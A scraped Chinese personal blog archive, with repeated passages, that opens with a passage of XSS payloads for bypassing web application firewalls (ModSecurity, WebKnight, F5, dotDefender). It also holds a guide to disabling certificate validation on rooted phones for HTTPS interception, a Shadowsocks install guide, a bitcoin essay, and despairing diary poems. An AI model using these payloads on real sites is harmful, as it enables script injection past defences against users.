</html>
12 Window.name欺骗
情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码
POC
<iframesrc='http://www.target.com?foo="xss autofocus/AAAAA onfocus=location=window.name//'
name="javascript:alert("XSS")"></iframe>
DOM型XSS
服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:
<script>
vari=location.hash;
document.write(i);
</script>
在一些情况下,反射型XSS可以转换成DOM型XSS:
http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
上面的POC只在[.+都被允许的情况下适用,可以使用location.hash注入任何不允许的编码
Location.hash[1] = : // Defined at the first position after the hash.
Location.hash[2]= ( // Defined at the second position after the has
Location.hash[3] = ) // Defined at third position after the hash.
如果有客户端过滤可能不适用
POC
<iframesrc='http://www.target.com?foo="xss autofocus/AAAAA onfocus=location=window.name//'
name="javascript:alert("XSS")"></iframe>
DOM型XSS
服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:
<script>
vari=location.hash;
document.write(i);
</script>
在一些情况下,反射型XSS可以转换成DOM型XSS:
http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
上面的POC只在[.+都被允许的情况下适用,可以使用location.hash注入任何不允许的编码
Location.hash[1] = : // Defined at the first position after the hash.
Location.hash[2]= ( // Defined at the second position after the has
Location.hash[3] = ) // Defined at third position after the hash.
如果有客户端过滤可能不适用
13 ModSecurity绕过
<script>confirm(0);</script>
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
5 WEB KNIGHT绕过
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
F5 BIG IP ASM and Palo ALTO绕过
<table background="javascript:alert(1)"></table> //IE6或者低版本Opera
“/><marquee onfinish=confirm(123)>a</marquee>
Dot Defender绕过
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
<marquee/onstart=confirm(2)>
F5 BIG IP ASM and Palo ALTO绕过
<table background="javascript:alert(1)"></table> //IE6或者低版本Opera
“/><marquee onfinish=confirm(123)>a</marquee>
Dot Defender绕过
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
0x04结论
黑名单方式永远不是最好的解决办法,但是相对与白名单效率很高,对于WAF供应商来说,最好的实践如下:
1、开发者和管理员要注意WAF只能缓解攻击,并且针对已知的弱点的防护只是和源代码修复的方法打个时间差;
2、要保持WAF的规则库更新;
3、WAF可以配置参数限制,需要提供手册用于配置参数content-length最大最小长度,content-type类型,在入侵时进行告警;
4、如果WAF依据黑名单,要确保可以阻断已知的浏览器BUG,并且相应规则库要及时更新。
via:https://www.jb51.net/hack/522448.html
1、开发者和管理员要注意WAF只能缓解攻击,并且针对已知的弱点的防护只是和源代码修复的方法打个时间差;
2、要保持WAF的规则库更新;
3、WAF可以配置参数限制,需要提供手册用于配置参数content-length最大最小长度,content-type类型,在入侵时进行告警;
4、如果WAF依据黑名单,要确保可以阻断已知的浏览器BUG,并且相应规则库要及时更新。
via:https://www.jb51.net/hack/522448.html
2018年8月26日星期日
2018年8月20日星期一
2018年8月7日星期二
无题 - 2018.8.7
很多问题渴望得到肯定的答案,可是从来不敢问,没信心,害怕得到失落的答复;
夜色蔓延,负面情绪也总是一起爬满全身。
总是用尽力气渴望去抓住什么,抓不住,或者,抓住了最后被迫放手,被抛弃的感觉。
我在意的,在他人眼里,也许不过是可以归类到令人厌烦的平凡。
难受,失眠。
曾卑微到,看到那人就害怕,别人的自豪,我的自卑。
说,你这种情况应该公开到媒体,或申请希望工程;
看,台上的人报完了名单,我不知道他人心里怎么想,只是我会脸红、低头。
做,后来我做了生活委员,把人员名单、各种申请表用黑色背景填充隐藏,我愿意尽我所能保护你们。
没人懂,
众生都很累吧?
如今,
我还是渴望
渴望有人说我想听的答复,渴望有人说在乎我,
可是
没有
在沙漠中挣扎半生,终究没寻到一滴水
我不再尝试去抓住,大概是心死了罢。
抓不住的流沙,那就扬了吧。
原来在这大千世界,我才是最没安全感的那个。
孤独、迷惘、害怕,一起涌上心头;
汇聚成眼泪又落下。
夜色蔓延,负面情绪也总是一起爬满全身。
总是用尽力气渴望去抓住什么,抓不住,或者,抓住了最后被迫放手,被抛弃的感觉。
我在意的,在他人眼里,也许不过是可以归类到令人厌烦的平凡。
难受,失眠。
曾卑微到,看到那人就害怕,别人的自豪,我的自卑。
说,你这种情况应该公开到媒体,或申请希望工程;
看,台上的人报完了名单,我不知道他人心里怎么想,只是我会脸红、低头。
做,后来我做了生活委员,把人员名单、各种申请表用黑色背景填充隐藏,我愿意尽我所能保护你们。
没人懂,
众生都很累吧?
如今,
我还是渴望
渴望有人说我想听的答复,渴望有人说在乎我,
可是
没有
在沙漠中挣扎半生,终究没寻到一滴水
我不再尝试去抓住,大概是心死了罢。
抓不住的流沙,那就扬了吧。
原来在这大千世界,我才是最没安全感的那个。
孤独、迷惘、害怕,一起涌上心头;
汇聚成眼泪又落下。
2018年8月4日星期六
无题 - 2018.8.4
我想我大概是病了
病的很严重
烦闷、忧伤、担忧、害怕与不甘心
各种负面情绪交杂
一天一天的机械式度日
对各种压力的恐惧
很多时候,人把事情看的越透,内心反而越痛苦
知乎上大把的问题,大把的回答
每个人的立场不同,答案也千奇百怪
不知真假
他们说,要有车有房
他们说,要年薪百万
他们说,打工是没法赚到那么多钱的
他们说,人一生下来就已经注定命运
他们说,人心都是自私的
他们说
看的越多,越融入
越淡然,越痛苦,越自卑,也越害怕
如果一切都已经注定,那我们的努力是为了什么
做一颗任资本宰割的韭菜吗
如果我们一生的努力都达不到他人的起点,那努力的意义在哪里
遇见美丽的花儿?
去他的
如《异次元骇客》中的酒保,如果他不知道自己活在上层人虚拟的计算机内存中,他就不会痛苦地去世界边缘寻找真相,更不会发疯般想尽计策逃离这个虚拟世界。
互联网带给了我们一个历史未有的快速交流传输方式
曾经数天、数月甚至需要数年才能传输的消息
我们现在只需数毫秒便知道了
前所未有的知识爆炸
告诉了我们残忍的真相
关于阶级
关于资本主义、社会主义
关于权利与金钱
知识爆炸的同时
痛苦也爆炸了
人活明白了,看透了,真的很痛苦
我害怕
我害怕失去
我害怕无法拥有
如果不认识多好
如果不知道多好
或者
没有或者
就这样吧
你痛苦无奈又怎样
没人关心你
没人在乎你
你去死了
也没人记得你
你像小丑一样寻找存在感
歇斯底里
徒劳罢了
尘世的蚂蚁
历史不会记得任何蚂蚁
病的很严重
烦闷、忧伤、担忧、害怕与不甘心
各种负面情绪交杂
一天一天的机械式度日
对各种压力的恐惧
很多时候,人把事情看的越透,内心反而越痛苦
知乎上大把的问题,大把的回答
每个人的立场不同,答案也千奇百怪
不知真假
他们说,要有车有房
他们说,要年薪百万
他们说,打工是没法赚到那么多钱的
他们说,人一生下来就已经注定命运
他们说,人心都是自私的
他们说
看的越多,越融入
越淡然,越痛苦,越自卑,也越害怕
如果一切都已经注定,那我们的努力是为了什么
做一颗任资本宰割的韭菜吗
如果我们一生的努力都达不到他人的起点,那努力的意义在哪里
遇见美丽的花儿?
去他的
如《异次元骇客》中的酒保,如果他不知道自己活在上层人虚拟的计算机内存中,他就不会痛苦地去世界边缘寻找真相,更不会发疯般想尽计策逃离这个虚拟世界。
互联网带给了我们一个历史未有的快速交流传输方式
曾经数天、数月甚至需要数年才能传输的消息
我们现在只需数毫秒便知道了
前所未有的知识爆炸
告诉了我们残忍的真相
关于阶级
关于资本主义、社会主义
关于权利与金钱
知识爆炸的同时
痛苦也爆炸了
人活明白了,看透了,真的很痛苦
我害怕
我害怕失去
我害怕无法拥有
如果不认识多好
如果不知道多好
或者
没有或者
就这样吧
你痛苦无奈又怎样
没人关心你
没人在乎你
你去死了
也没人记得你
你像小丑一样寻找存在感
歇斯底里
徒劳罢了
尘世的蚂蚁
历史不会记得任何蚂蚁
2018年7月24日星期二
《我害怕阅读的人》——奥美广告
不知何时开始,我害怕阅读的人。就像我们不知道冬天从哪天开始,只会感觉夜的黑越来越漫长。
我害怕阅读的人。一跟他们谈话,我就像一个透明的人,苍白的脑袋无法隐藏。我所拥有的内涵是什么?不就是人人能脱口而出,游荡在空气中最通俗的认知吗?像心脏在身体的左边。春天之后是夏天。美国总统是世界上最有权力的人。但阅读的人在知识里遨游,能从食谱论及管理学,八卦周刊讲到社会趋势,甚至空中跃下的猫,都能让他们对建筑防震理论侃侃而谈。相较之下,我只是一台在MP3世代的录音机;过气、无法调整。我最引以为傲的论述,恐怕只是他多年前书架上某本书里的某段文字,而且,还是不被荧光笔画线注记的那一段。
我害怕阅读的人。当他们阅读时,脸就藏匿在书后面。书一放下,就以贵族王者的形象在我面前闪耀。举手投足都是自在风采。让我明了,阅读不只是知识,更是魔力。他们是懂美学的牛顿。懂人类学的梵谷。懂孙子兵法的甘地。血液里充满答案,越来越少的问题能让他们恐惧。彷佛站在巨人的肩牓上,习惯俯视一切。那自信从容,是这世上最好看的一张脸。
我害怕阅读的人。因为他们很幸运;当众人拥抱孤独、或被寂寞拥抱时,他们的生命却毫不封闭,不缺乏朋友的忠实、不缺少安慰者的温柔,甚至连互相较劲的对手,都不至匮乏。他们一翻开书,有时会因心有灵犀,而大声赞叹,有时又会因立场不同而陷入激辨,有时会获得劝导或慰藉。这一切毫无保留,又不带条件,是带亲情的爱情,是热恋中的友谊。一本一本的书,就像一节节的脊椎,稳稳的支持着阅读的人。你看,书一打开,就成为一个拥抱的姿式。这一切,不正是我们毕生苦苦找寻的?
我害怕阅读的人,他们总是不知足。有人说,女人学会阅读,世界上才冒出妇女问题,也因为她们开始有了问题,女人更加读书。就连爱因斯坦;这个世界上智者中的最聪明者,临终前都曾说:「我看我自己,就像一个在海边玩耍的孩子,找到一块光滑的小石头,就觉得开心。后来我才知道自己面对的,还有一片真理的大海,那没有尽头」。读书人总是低头看书,忙着浇灌自己的饥渴,他们让自己是敞开的桶子,随时准备装入更多、更多、更多。而我呢?手中抓住小石头,只为了无聊地打水漂而已。有个笑话这样说:人每天早上起床,只要强迫自己吞一只蟾蜍,不管发生什么,都不再害怕。我想,我快知道蟾蜍的味道。
我害怕阅读的人。我祈祷他们永远不知道我的不安,免得他们会更轻易击垮我,甚至连打败我的意愿都没有。我如此害怕阅读的人,因为他们的榜样是伟人,就算做不到,退一步也还是一个,我远不及的成功者。我害怕阅读的人,他们知道「无知」在小孩身上才可爱,而我已经是一个成年的人。我害怕阅读的人,因为大家都喜欢有智慧人。我害怕阅读的人,他们能避免我要经历的失败。我害怕阅读的人,他们懂得生命太短,人总是聪明得太迟。我害怕阅读的人,他们的一小时,就是我的一生。我害怕阅读的人,
尤其是,还在阅读的人。
我害怕阅读的人。一跟他们谈话,我就像一个透明的人,苍白的脑袋无法隐藏。我所拥有的内涵是什么?不就是人人能脱口而出,游荡在空气中最通俗的认知吗?像心脏在身体的左边。春天之后是夏天。美国总统是世界上最有权力的人。但阅读的人在知识里遨游,能从食谱论及管理学,八卦周刊讲到社会趋势,甚至空中跃下的猫,都能让他们对建筑防震理论侃侃而谈。相较之下,我只是一台在MP3世代的录音机;过气、无法调整。我最引以为傲的论述,恐怕只是他多年前书架上某本书里的某段文字,而且,还是不被荧光笔画线注记的那一段。
我害怕阅读的人。当他们阅读时,脸就藏匿在书后面。书一放下,就以贵族王者的形象在我面前闪耀。举手投足都是自在风采。让我明了,阅读不只是知识,更是魔力。他们是懂美学的牛顿。懂人类学的梵谷。懂孙子兵法的甘地。血液里充满答案,越来越少的问题能让他们恐惧。彷佛站在巨人的肩牓上,习惯俯视一切。那自信从容,是这世上最好看的一张脸。
我害怕阅读的人。因为他们很幸运;当众人拥抱孤独、或被寂寞拥抱时,他们的生命却毫不封闭,不缺乏朋友的忠实、不缺少安慰者的温柔,甚至连互相较劲的对手,都不至匮乏。他们一翻开书,有时会因心有灵犀,而大声赞叹,有时又会因立场不同而陷入激辨,有时会获得劝导或慰藉。这一切毫无保留,又不带条件,是带亲情的爱情,是热恋中的友谊。一本一本的书,就像一节节的脊椎,稳稳的支持着阅读的人。你看,书一打开,就成为一个拥抱的姿式。这一切,不正是我们毕生苦苦找寻的?
我害怕阅读的人,他们总是不知足。有人说,女人学会阅读,世界上才冒出妇女问题,也因为她们开始有了问题,女人更加读书。就连爱因斯坦;这个世界上智者中的最聪明者,临终前都曾说:「我看我自己,就像一个在海边玩耍的孩子,找到一块光滑的小石头,就觉得开心。后来我才知道自己面对的,还有一片真理的大海,那没有尽头」。读书人总是低头看书,忙着浇灌自己的饥渴,他们让自己是敞开的桶子,随时准备装入更多、更多、更多。而我呢?手中抓住小石头,只为了无聊地打水漂而已。有个笑话这样说:人每天早上起床,只要强迫自己吞一只蟾蜍,不管发生什么,都不再害怕。我想,我快知道蟾蜍的味道。
我害怕阅读的人。我祈祷他们永远不知道我的不安,免得他们会更轻易击垮我,甚至连打败我的意愿都没有。我如此害怕阅读的人,因为他们的榜样是伟人,就算做不到,退一步也还是一个,我远不及的成功者。我害怕阅读的人,他们知道「无知」在小孩身上才可爱,而我已经是一个成年的人。我害怕阅读的人,因为大家都喜欢有智慧人。我害怕阅读的人,他们能避免我要经历的失败。我害怕阅读的人,他们懂得生命太短,人总是聪明得太迟。我害怕阅读的人,他们的一小时,就是我的一生。我害怕阅读的人,
尤其是,还在阅读的人。
2018年7月22日星期日
无题-2018.7.22
疯狂的世界
荒谬的世界
初知此消息,我觉得,虽然已经想到事情会往这方面发生,但是当这事真正发生的时候,我仍然感到震惊。
这是最好的时代,这也是最坏的时代;
我们好像有无尽的机会,可细看却是每个地方都有人盯着
我感到时间的紧迫,感到对财富的渴望。
小时候我们很喜欢玩具,那时候却没钱
现在有钱了,却已经不喜欢玩具了
我害怕某一天,等我们都不那么愁财富的时候
世界早已经变成我们不认识的样子
你不知道在哪里
我不知道在哪里
我渴望、我害怕
我只能说
我尽力,我拼尽全力
愿你一直都在
愿我们半生归来
仍是少年吧
荒谬的世界
初知此消息,我觉得,虽然已经想到事情会往这方面发生,但是当这事真正发生的时候,我仍然感到震惊。
这是最好的时代,这也是最坏的时代;
我们好像有无尽的机会,可细看却是每个地方都有人盯着
我感到时间的紧迫,感到对财富的渴望。
小时候我们很喜欢玩具,那时候却没钱
现在有钱了,却已经不喜欢玩具了
我害怕某一天,等我们都不那么愁财富的时候
世界早已经变成我们不认识的样子
你不知道在哪里
我不知道在哪里
我渴望、我害怕
我只能说
我尽力,我拼尽全力
愿你一直都在
愿我们半生归来
仍是少年吧
2018年7月20日星期五
移动端双向校验https情况下的抓包方法
安卓设备要求设备root,iOS设备要求越狱。
Android平台
在Android平台上的操作主要是通过hook的方式,将应用及系统中验证https证书的逻辑全部hook为验证结果正确,这样无论安装的证书是否有效,皆可进行正常的https通信。
这里就需要对手机安装hook框架,这里用到的hook框架为Xposed,官方下载地址:
http://repo.xposed.info/module/de.robv.android.xposed.installer ,这里需要注意的是,在Android4.0-4.4是可以直接通过安装apk的方式开刷入Xposed框架,而在Android 5.0以上则需要刷入Xposted的固件包,具体的操作这里就不再赘述了,网上有很多教程已经讲的很详细了。
想要进行https抓包的话需要安装Xposed的一个开源模块--JustTrustMe,github链接地址为:https://github.com/Fuzion24/JustTrustMe ,下载最新版本的安装包,安装进手机,在Xposted中激活并重启手机,这时就可以随意抓取手机中的流量了。
iOS平台
iOS上就需要将手机进行越狱了,可以使用目前市面上比较流行的盘古越狱工具,但是目前只支持iOS10之前的版本,所以做移动安全研究或者渗透测试的,准备一台老版本的测试机还是很有必要的,说不定什么时候哪款工具就在最新系统上用不了了。
言归正传,在iOS上用到的这款工具叫做SSL Kill Switch 2,该工具使用了Cydia Substrate的钩子技术,这个钩子Hook了IOS的验证证书函数,使得他们接受任何证书。
SSL Kill Switch 2同样也是一款在Github上开源的软件:https://github.com/nabla-c0d3/ssl-kill-switch2 ,这里给大家简单介绍下如何安装这个工具。
首先在越狱后的Cydia工具中查看以下几项软件是否都安装完成:
Debian Packager
Cydia Substrate
PreferenceLoader
如图中所示:
如果都安装完成,那么从Github上下载最新的release包:https://github.com/nabla-c0d3/ssl-kill-switch2/releases ,如现在最新版的为v0.11 安装包为 com.nablac0d3.SSLKillSwitch2_0.11.deb ,将该文件拷贝到iOS设备中,拷贝文件可用iTools、iFunBox等工具。
如图所示:
用ssh链接iOS设备,找到deb文件传输目录(/User/Media):
执行如下命令进行安装:
dpkg -i com.nablac0d3.SSLKillSwitch2_0.11.deb
killall -HUP SpringBoard
回到Cydia中,查看安装的软件,已经在列表中了。
接下来需要在系统设置中打开SSL Kill Switch 2
进入系统设置,找到SSL Kill Switch 2项,点开项目点击右侧按钮,开启 Disable Certificate Validation,如图所示:
这时候就可以抓取https的流量了。
测试
证书安装完成之后,用手机访问一个https的网站,这时就发现https的数据包可以抓取到了。
via:https://www.cnblogs.com/JDragons/p/7332324.html
2018年7月9日星期一
陌上花开,可缓缓归矣
2018.4.15 - 2018.7..9
认识你的第85天
喜欢你的与众不同
喜欢与你相处时的自然、开心
喜欢喝你介绍的奈雪的荔枝果茶
喜欢和你一起看的电影
喜欢和你走过的每一片商场区域
你与众不同
你说替我省钱不吃太贵的
你发你的自拍给我做壁纸
我喜欢你的与众不同
喜欢你的聪明
你知道我喜欢你
只是
我不知道你是怎么想的呢
此时此刻
我知道你已入睡
但是
我还是要说我想你
很开心有很多与你共同喜欢的事物
喜欢动漫、二次元
我知道我有很多不足
我会改的
努力让自己变好
我知道你此时的选择
我知道那不是最终的结果
是不是喜欢一个人,就会变得这么卑微呢
外面繁花盛开,你好好欣赏,只希望,最后回来
陌上花开,可缓缓归矣
认识你的第85天
喜欢你的与众不同
喜欢与你相处时的自然、开心
喜欢喝你介绍的奈雪的荔枝果茶
喜欢和你一起看的电影
喜欢和你走过的每一片商场区域
你与众不同
你说替我省钱不吃太贵的
你发你的自拍给我做壁纸
我喜欢你的与众不同
喜欢你的聪明
你知道我喜欢你
只是
我不知道你是怎么想的呢
此时此刻
我知道你已入睡
但是
我还是要说我想你
很开心有很多与你共同喜欢的事物
喜欢动漫、二次元
我知道我有很多不足
我会改的
努力让自己变好
我知道你此时的选择
我知道那不是最终的结果
是不是喜欢一个人,就会变得这么卑微呢
外面繁花盛开,你好好欣赏,只希望,最后回来
陌上花开,可缓缓归矣
2018年7月1日星期日
2018年5月10日星期四
ss+bbr快速搭建脚本
ss部分
https://www.cnblogs.com/bari/p/7838073.html
本脚本适用环境
系统支持:CentOS 6+,Debian 7+,Ubuntu 12+
内存要求:≥128M
日期 :2018 年 02 月 07 日
内存要求:≥128M
日期 :2018 年 02 月 07 日
关于本脚本
1、一键安装 Shadowsocks-Python, ShadowsocksR, Shadowsocks-Go, Shadowsocks-libev 版(四选一)服务端;
2、各版本的启动脚本及配置文件名不再重合;
3、每次运行可安装一种版本;
4、支持以多次运行来安装多个版本,且各个版本可以共存(注意端口号需设成不同);
5、若已安装多个版本,则卸载时也需多次运行(每次卸载一种);
6、Shadowsocks-Python 和 ShadowsocksR 安装后不可同时启动(因为本质上都属 Python 版)。
2、各版本的启动脚本及配置文件名不再重合;
3、每次运行可安装一种版本;
4、支持以多次运行来安装多个版本,且各个版本可以共存(注意端口号需设成不同);
5、若已安装多个版本,则卸载时也需多次运行(每次卸载一种);
6、Shadowsocks-Python 和 ShadowsocksR 安装后不可同时启动(因为本质上都属 Python 版)。
友情提示:如果你有问题,请先阅读这篇《Shadowsocks Troubleshooting》之后再询问。
默认配置
服务器端口:自己设定(如不设定,默认从 9000-19999 之间随机生成)
密码:自己设定(如不设定,默认为 teddysun.com)
加密方式:自己设定(如不设定,Python 和 libev 版默认为 aes-256-gcm,R 和 Go 版默认为 aes-256-cfb)
协议(protocol):自己设定(如不设定,默认为 origin)(仅限 ShadowsocksR 版)
混淆(obfs):自己设定(如不设定,默认为 plain)(仅限 ShadowsocksR 版)
备注:脚本默认创建单用户配置文件,如需配置多用户,请手动修改相应的配置文件后重启即可。
密码:自己设定(如不设定,默认为 teddysun.com)
加密方式:自己设定(如不设定,Python 和 libev 版默认为 aes-256-gcm,R 和 Go 版默认为 aes-256-cfb)
协议(protocol):自己设定(如不设定,默认为 origin)(仅限 ShadowsocksR 版)
混淆(obfs):自己设定(如不设定,默认为 plain)(仅限 ShadowsocksR 版)
备注:脚本默认创建单用户配置文件,如需配置多用户,请手动修改相应的配置文件后重启即可。
客户端下载
ShadowsocksR 版 Windows 客户端
https://github.com/shadowsocksrr/shadowsocksr-csharp/releases
https://github.com/shadowsocksrr/shadowsocksr-csharp/releases
使用方法
使用root用户登录,运行以下命令:
wget --no-check-certificate -O shadowsocks-all.sh https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-all.sh chmod +x shadowsocks-all.sh ./shadowsocks-all.sh 2>&1 | tee shadowsocks-all.log
安装完成后,脚本提示如下
Congratulations, your_shadowsocks_version install completed! Your Server IP :your_server_ip Your Server Port :your_server_port Your Password :your_password Your Encryption Method:your_encryption_method Your QR Code: (For Shadowsocks Windows, OSX, Android and iOS clients) ss://your_encryption_method:your_password@your_server_ip:your_server_port Your QR Code has been saved as a PNG file path: your_path.png Welcome to visit:https://teddysun.com/486.html Enjoy it!
卸载方法
若已安装多个版本,则卸载时也需多次运行(每次卸载一种)
使用root用户登录,运行以下命令:
./shadowsocks-all.sh uninstall
启动脚本
启动脚本后面的参数含义,从左至右依次为:启动,停止,重启,查看状态。
Shadowsocks-Python 版:
/etc/init.d/shadowsocks-python start | stop | restart | status
/etc/init.d/shadowsocks-python start | stop | restart | status
ShadowsocksR 版:
/etc/init.d/shadowsocks-r start | stop | restart | status
/etc/init.d/shadowsocks-r start | stop | restart | status
Shadowsocks-Go 版:
/etc/init.d/shadowsocks-go start | stop | restart | status
/etc/init.d/shadowsocks-go start | stop | restart | status
Shadowsocks-libev 版:
/etc/init.d/shadowsocks-libev start | stop | restart | status
/etc/init.d/shadowsocks-libev start | stop | restart | status
各版本默认配置文件
Shadowsocks-Python 版:
/etc/shadowsocks-python/config.json
/etc/shadowsocks-python/config.json
ShadowsocksR 版:
/etc/shadowsocks-r/config.json
/etc/shadowsocks-r/config.json
Shadowsocks-Go 版:
/etc/shadowsocks-go/config.json
/etc/shadowsocks-go/config.json
Shadowsocks-libev 版:
/etc/shadowsocks-libev/config.json
/etc/shadowsocks-libev/config.json
bbr部分
目前支持的Linux系统包括:Ubuntu 14.04 x64、Ubuntu 16.04 x64、CentOS 6 x64、CentOS 7 x64 只支持 64 位系统,要求 glibc 版本 2.14 以上。
安装前请先关闭防火墙,以免受到受到干扰
systemctl disable firewalldsystemctl stop firewalld
Google BBR安装脚本
wget https://raw.githubusercontent.com/kuoruan/shell-scripts/master/ovz-bbr/ovz-bbr-installer.shchmod +x ovz-bbr-installer.sh./ovz-bbr-installer.sh
1、安装过程中会要求输入需要加速的端口号,请按自己的需求输入(比如加速Web服务,则输入80)
2、可能需要配置 “公网接口名称”,即你服务器上具有公网 IP 的接口名称。搬瓦工 OpenVZ 上默认都是 venet0
这个名称可以通过ifconfig命令查询得到,如果执行ifconfig命令提示无此命令,请先安装net-tools工具包。
net-tools工具包:
yum install net-tools -y
判断BBR是否正常工作
判断 bbr 是否正常启动可以尝试 ping 10.0.0.2,如果能通,说明 bbr 已经启动。
启动、停止、重启bbr、查看bbr服务状态
systemctl {start|stop|restart|status} haproxy-lkl
配置bbr加速端口
(在安装的时候只输入了一个端口,但是实际可以支持加速多个端口),如需修改加速端口,请修改以下文件,每行一个端口号,或者端口范围
vi /usr/local/haproxy-lkl/etc/port-rules
卸载bbr
./ovz-bbr-installer.sh uninstall
至此bbr就已经安装完成,大家可以去体验一下开启bbr前后的速度,反正我加速了80端口后,感觉加速效果是非常的明显的。未开启bbr前,下载速度只有50kb/s,开启bbr后直接提升到700kb/s,如下图:(图略)
参考:
https://teddysun.com/486.htmlhttps://www.cnblogs.com/bari/p/7838073.html
2018年5月2日星期三
比特币底层漏洞:大多数正义与信道安全
几乎所有关于加密货币和区块链的讨论都源于中本聪的白皮书:《比特币:一种点对点的电子现金系统》Bitcoin: A Peer-to-Peer Electronic Cash System (Satoshi Nakamoto)。
2008 年11月1日,一个密码学邮件组收到了 satoshi@vistomail.com 邮箱发出的这份白皮书,2009年1月3日,中本聪的个人电脑里挖出了50个比特币,并在创世区块里留下一句永不可修改的话:“The Times 03/Jan/2009 Chancellor on brink of second bailout for banks(2009年1月3日,财政大臣正处于实施第二轮银行紧急援助的边缘)。”
当时正是英国的财政大臣达林被迫考虑第二次出手纾解银行危机的时刻,这句话是泰晤士报当天的头版文章标题。区块链的时间戳服务和存在证明,让第一个区块链产生的时间和当时正发生的事件被永久性的保留了下来。
2009年10月5日出现了最早的交易所汇率:1美元=1309.03比特币。十年后比特币的价格已经超过8000美元,按照2017年峰值的最高价20000美元一枚计算,2100万枚比特币的市值达4200亿美元,外加各种山寨币、分叉币,加密货币总规模已经突破万亿美元。
比特币带给我们最大的冲击是原来哈耶克的创想可行,技术可以超越现有政府的框架实现“非国家化的货币”并开始流通。
在币值飞涨的疯狂年代,已经很少人再去翻看中本聪的白皮书。仅有九页的白皮书只是一套技术方案,所有的篇幅都是为了探讨一个“币”的实现,超越软件技术本身,我们去细加审视更本质的问题:比特币的“去中心化”是否彻底?是否真正成为了一个权力分散且完全自治的系统?白皮书中是否还有哪些缺陷,是中本聪默认忽略又事实存在的假性前提?
算力垄断≠51%攻击
目前对比特币的信仰建立在全网51%算力难以企及上,然而最近人们越来越多开始担忧,掌握大规模ASIC矿机的矿场早已垄断了51%算力。
《麻省理工科技评论》在2018年1月18日发布的最新研究表明,比特币和以太坊都属于开放区块链系统,即原则上任何人都可以成为矿工,但因为这样的架构特性,自然形成了相应的组织集中挖矿资源。
基于每周一次的统计,排名前四名的比特币挖掘活动就占整个系统挖掘活动的 53%;而以太坊挖掘活动的中心化程度甚至更加稳固,前 3 大矿机占整体系统每周平均挖掘活动高达 61%。算力垄断是否已经动摇了比特币“去中心化”的特性?
答案是否定的。51%攻击不会来自比特币生态内。
这是因为矿场巨头们虽然集中控制了算力,但他们按照游戏规则,付出了大量硬件投资和电费消耗。如果发动51%攻击,整个系统的价值就会崩溃,那么攻击获得的比特币将没有任何意义。
51%攻击必然来自于体系外。
去中心化=大多数人正义
[白皮书摘要]:本文提出了一种完全通过点对点技术实现的电子现金系统,它使得在线支付能够直接由一方发起并支付给另外一方,中间不需要通过任何的金融机构。虽然数字签名(Digital signatures)部分解决了这个问题,但是如果仍然需要第三方的支持才能防止双重支付(double-spending)的话,那么这种系统也就失去了存在的价值。我们在此提出一种解决方案,使现金系统在点对点的环境下运行,并防止双重支付问题。该网络通过随机散列(hashing)对全部交易加上时间戳(timestamps),将它们合并入一个不断延伸的基于随机散列的工作量证明(proof-of-work)的链条作为交易记录,除非重新完成全部的工作量证明,否者已经形成的交易记录将不可更改。最长的链条不仅将作为被观察到的事件序列(sequence)的证明,而且被看做是包含CPU最大计算工作量的链。只要绝大多数的CPU计算能力都没有打算合作起来对全网进行攻击,那么诚实的节点将会生成最长的、超过攻击者的链条。这个系统本身需要的基础设施非常少。信息尽最大努力在全网传播即可,节点(nodes)可以随时离开和重新加入网络,并将最长的工作量证明链条作为在该节点离线期间发生的交易的证明。
细读比特币白皮书,你会发现中本聪的“去中心化”背后的潜台词是“大多数人正义”,共识机制是比特币的核心理念。
用密码原理和工作量证明(Pow)代替中心化权威信用。而产生一条新的交易记录时永远有先后顺序,即便是双花也总有先后顺序,同一用户不可能同时创造两笔交易。比特币首先引入了基于时间戳的随机散列,让其形成前后相关的序列,比特币的交易记录就是一个时间序列的链条。这就是为什么称之为区块链的原因。
要避免双花,我们只需要证明其中一条链有效即可,并且将其记录到交易链条上,其他的交易就是无效的了。要证明其中一条是有效又不允许中心化从存在,只有一个办法:发动所有人参与这项活动,进行“多数人的正义”。
PoW共识算法正是为了解决谁是大多数的问题,“大多数”的决定表达为最长的链。新区块进行节点广播,一旦有节点收到了这个区块的广播,会按照“当且仅当包含在该区块中的所有交易都是有效的且之前未存在过的,其他节点才认同该区块的有效性”的规则进行验证。
验证通过后,这个节点就不会再接受别的节点的同样区块了。同时这个节点会终止自己正在进行的包含同样交易的区块计算,也就说不会在进行无用功了,节点在这个区块基础上启动新的交易区块计算,如此往复,形成链条。
由于网络延迟,如果同时有几个节点互相收到交易区块,记录同样的链条(分叉),该僵局的打破要等到下一个工作量证明发现。通过一段时间运行,总有一条区块链时序最长,作为最终被认可的链条。比特币区块链就是在不停的分叉、抛弃、又分叉、又合并的过程。
共识机制替代中介信任,那么我们探讨一下极端情况下可能会出现什么问题?
2018年某一天下午15:30,中国的海底光纤突然出现故障,国际出口被阻断。整个比特币网络仍旧正常运转:国内的矿池、矿场币照样挖;国外的矿场、交易所继续正常挖币和交易。
只是不知不觉间,中国的比特币网络和国际比特币网络被撕裂为两个子网。
